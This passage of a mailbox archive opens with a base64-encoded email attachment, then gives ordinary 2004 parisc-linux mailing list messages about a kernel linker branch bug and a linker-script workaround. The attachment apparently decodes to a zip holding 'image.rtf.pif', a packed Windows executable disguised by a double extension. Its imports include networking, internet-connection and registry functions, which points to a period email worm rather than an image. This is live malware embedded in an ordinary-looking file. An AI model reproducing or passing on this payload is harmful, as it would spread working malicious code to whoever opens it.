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
Y+ugBk+c/NncShtma+GUAQAAAAAAAAASAP8AAAAAAAAAAAAAAGC+FWBBAI2+66/+/1eDzf/r
EJCQkJCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu
/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBB
Adt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdH
SXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97lJAQAAigdHLOg8AXf3gD8FdfKL
B4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYnY4tmNvgCQAQCLBwnAdEWLXwSNhDAQtQEAAfNQ
g8cI/5actQEAlYoHRwjAdNyJ+XkHD7cHR1BHuVdI8q5V/5agtQEACcB0B4kDg8ME69j/lqS1
AQBh6ceI/v8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAA
AJAAAIAAAAAAAAAAAAAAAAAAAAIAAQAAAEAAAIACAAAAaAAAgAAAAAAAAAAAAAAAAAAAAQAH
BAAAWAAAANTAAQDoAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEABwQAAIAAAADAwwEAKAEA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAGUAAACoAACAAAAAAAAAAAAAAAAAAAABAAcEAADA
AAAA7MQBACIAAAAAAAAAAAAAANCQAQAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAA
AAAAAAAAAAAAzP//AGhXWAAAAAAAgICAAP///wDAwMAA/wAAAAD//wC/AAAAAAD/AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAACIhEiIiIiIiIiIiIiIiIiIiITVVVVVVVVVVVVVVJSIiIiNE
RERERERERERERFJSIiIjREREREREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERERESV
RERJVFJSIiIjRIiIiIhESVVVWVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJVFJS
IiIjRERERERERESVSVRSUiIiI0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIjRIiI
iIiIiIhESURSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERE
RERSUiIiI0SIiIiIiIiIiIhEUlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERSUiIi
I0Q5kkRCREREREREUlIiIiNEMiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0QyIndy
RIiIiIhEUlIiIiNENEJ3ckRERERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiRERERERE
UlIiIiNEMzIiIkRERERERFJSIiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIiIiNC
RCRCRCRCRCRCRDJSIiIiJDNDNDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AAAAfg
AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAA
B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg
AAAH+AAAD/////+4kwEAKAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/
AP8A//8AAP///wAAAAAAAAAAAAB3d3d3d3AAAP//n/+fcAAA//95mZ9wAAD0RPefn3AAAP//
/3mfcAAA9ERE959wAAD//////3AAAPRERERPcAAA//////9wAAD0RERET3AAAP//////cAAA
//////9wAADw8PDw8PAAAA+Pj4+PgAAAAAAAAAAAAMAHAADAAwAAwAMAAMADAADAAwAAwAMA
AMADAADAAwAAwAMAAMADAADAAwAAwAMAAMADAADAAwAAwAcAAOqvAADglAEAAAABAAIAICAQ
AAEABADoAgAAAQAQEBAAAQAEACgBAAACAAAAAAAAAAAAAAAAAAAA1MUBAJzFAQAAAAAAAAAA
AAAAAADhxQEArMUBAAAAAAAAAAAAAAAAAO7FAQC0xQEAAAAAAAAAAAAAAAAA+8UBALzFAQAA
AAAAAAAAAAAAAAAGxgEAxMUBAAAAAAAAAAAAAAAAABLGAQDMxQEAAAAAAAAAAAAAAAAAAAAA
AAAAAAAcxgEAKsYBADrGAQAAAAAASMYBAAAAAABWxgEAAAAAAGjGAQAAAAAAdMYBAAAAAAAL
AACAAAAAAEtFUk5FTDMyLkRMTABBRFZBUEkzMi5kbGwAaXBobHBhcGkuZGxsAFVTRVIzMi5k
bGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVz
cwAARXhpdFByb2Nlc3MAAABSZWdPcGVuS2V5QQAAAEdldE5ldHdvcmtQYXJhbXMAAHdzcHJp
bnRmQQAAAEludGVybmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAAAXM5YwrnbFugBeAAAAXgAADQAA
AAAAAAAAACAAAAAAAAAAaW1hZ2UucnRmLnBpZlBLBQYAAAAAAQABADsAAAArXgAAAAA=


------=_NextPart_000_0002_000031DC.00006A4E--




From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: 22 Apr 2004 18:32:15 -0400
Lines: 58
Approved: news@gmane.org
Message-ID: <1082673135.1714.118.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623397 8558 80.91.229.3 (22 Nov 2014 02:29:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:57 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr 22 16:32:17 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 977D94DA1
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Apr 2004 16:32:16 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3MMWFa14581 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Apr 2004 18:32:15 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 22 Apr 2004 22:32:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21493

I've traced this to an apparent linker fault.  It seems to be being
caused by having the scheduling function in its own section.

The offending code is in entry.S; this is what the code actually says:

syscall_do_resched:
        bl      schedule,%r2
#ifdef __LP64__
        ldo     -16(%r30),%r29          /* Reference param save area */
#else
        nop
#endif
        b       syscall_check_bh  /* if resched, we start over again */
        nop

And this is what it assembles to in the final vmlinux:

000000001010d05c <syscall_do_resched>:
    1010d05c:   e8 54 12 ac     b,l 101369b8 <dbl_to_sgl_fcnvxf+0xd0>,rp
    1010d060:   37 dd 3f e1     ldo -10(sp),ret1
    1010d064:   e8 1f 1b ed     b,l 1010ce60 <syscall_check_bh>,r0
    1010d068:   08 00 02 40     nop

Apparently ld has simply loaded an out of range value for the branch.  I
can't see that this is a global fault, otherwise calling init functions
wouldn't work either, but it does.

I've hacked a temporary work around in vmlinux.lds.S (simply make all of
the required functions close enough to entry.S that they don't need
stubs), but I'd really like some input from the toolchain people about
what the real problem actually is.

James

Index: arch/parisc/kernel/vmlinux.lds.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/vmlinux.lds.S,v
retrieving revision 1.10
diff -u -r1.10 vmlinux.lds.S
--- a/arch/parisc/kernel/vmlinux.lds.S	15 Apr 2004 18:04:14 -0000	1.10
+++ b/arch/parisc/kernel/vmlinux.lds.S	22 Apr 2004 22:30:16 -0000
@@ -49,8 +49,13 @@
 
   _text = .;			/* Text and read-only data */
   .text ALIGN(16) : {
-	*(.text*)
+	*(.text)
 	SCHED_TEXT
+	*(.text.do_softirq)
+	*(.text.sys_exit)
+	*(.text.do_sigaltstack)
+	*(.text.do_fork)
+	*(.text.*)
 	*(.PARISC.unwind)
 	*(.fixup)
 	*(.lock.text)		/* out-of-line lock text */



From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: Thu, 22 Apr 2004 18:50:29 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <200404222250.i3MMoUOq017459@hiauly1.hia.nrc.ca>
References: <1082673135.1714.118.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623397 8561 80.91.229.3 (22 Nov 2014 02:29:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@steeleye.com (James Bottomley)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Apr 22 16:50:34 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 631CB4DAE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Apr 2004 16:50:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i3MMoU94017460; Thu, 22 Apr 2004 18:50:31 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i3MMoUOq017459;
	Thu, 22 Apr 2004 18:50:30 -0400 (EDT)
In-Reply-To: <1082673135.1714.118.camel@mulgrave> from "James Bottomley" at
	Apr 22, 2004 06:32:15 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 22 Apr 2004 22:50:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21494

> I've traced this to an apparent linker fault.  It seems to be being
> caused by having the scheduling function in its own section.
> 
> The offending code is in entry.S; this is what the code actually says:
> 
> syscall_do_resched:
>         bl      schedule,%r2
> #ifdef __LP64__
>         ldo     -16(%r30),%r29          /* Reference param save area */
> #else
>         nop
> #endif
>         b       syscall_check_bh  /* if resched, we start over again */
>         nop
> 
> And this is what it assembles to in the final vmlinux:
> 
> 000000001010d05c <syscall_do_resched>:
>     1010d05c:   e8 54 12 ac     b,l 101369b8 <dbl_to_sgl_fcnvxf+0xd0>,rp
>     1010d060:   37 dd 3f e1     ldo -10(sp),ret1
>     1010d064:   e8 1f 1b ed     b,l 1010ce60 <syscall_check_bh>,r0
>     1010d068:   08 00 02 40     nop
> 
> Apparently ld has simply loaded an out of range value for the branch.  I
> can't see that this is a global fault, otherwise calling init functions
> wouldn't work either, but it does.
> 
> I've hacked a temporary work around in vmlinux.lds.S (simply make all of
> the required functions close enough to entry.S that they don't need
> stubs), but I'd really like some input from the toolchain people about
> what the real problem actually is.

If schedule is too far away, the linker will add a long branch stub.
This apparently doesn't work in the kernel.  On the otherhand, `b,l'
should go about 8 MB without needing a stub.

Disassemble 101369b8 and see if it's a linker stub.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: 22 Apr 2004 18:54:34 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <1082674474.2860.127.camel@mulgrave>
References: <200404222250.i3MMoUOq017459@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623398 8567 80.91.229.3 (22 Nov 2014 02:29:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:58 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: James.Bottomley@SteelEye.com  Thu Apr 22 16:54:41 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DC2D4DAE
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Apr 2004 16:54:41 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i3MMsYa15679; Thu, 22 Apr 2004 18:54:34 -0400
In-Reply-To: <200404222250.i3MMoUOq017459@hiauly1.hia.nrc.ca>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 22 Apr 2004 22:54:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21495

On Thu, 2004-04-22 at 18:50, John David Anglin wrote:
> If schedule is too far away, the linker will add a long branch stub.
> This apparently doesn't work in the kernel.  On the otherhand, `b,l'
> should go about 8 MB without needing a stub.

Well, but it does ... we have other jumps that seem to be correctly
stubbed.

> Disassemble 101369b8 and see if it's a linker stub.

I did; it's genuinely in the middle of the dbl_to_sgl_fcnvxf; no sign of
any stub code anywhere close.

James




From - Thu Nov 08 21:31:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Panic on boot in 64 bit 2.6.6-rc1-pa0
Date: Thu, 22 Apr 2004 19:13:56 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200404222313.i3MNDv9d017627@hiauly1.hia.nrc.ca>
References: <1082674474.2860.127.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623398 8569 80.91.229.3 (22 Nov 2014 02:29:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James.Bottomley@steeleye.com (James Bottomley)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Apr 22 17:13:59 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
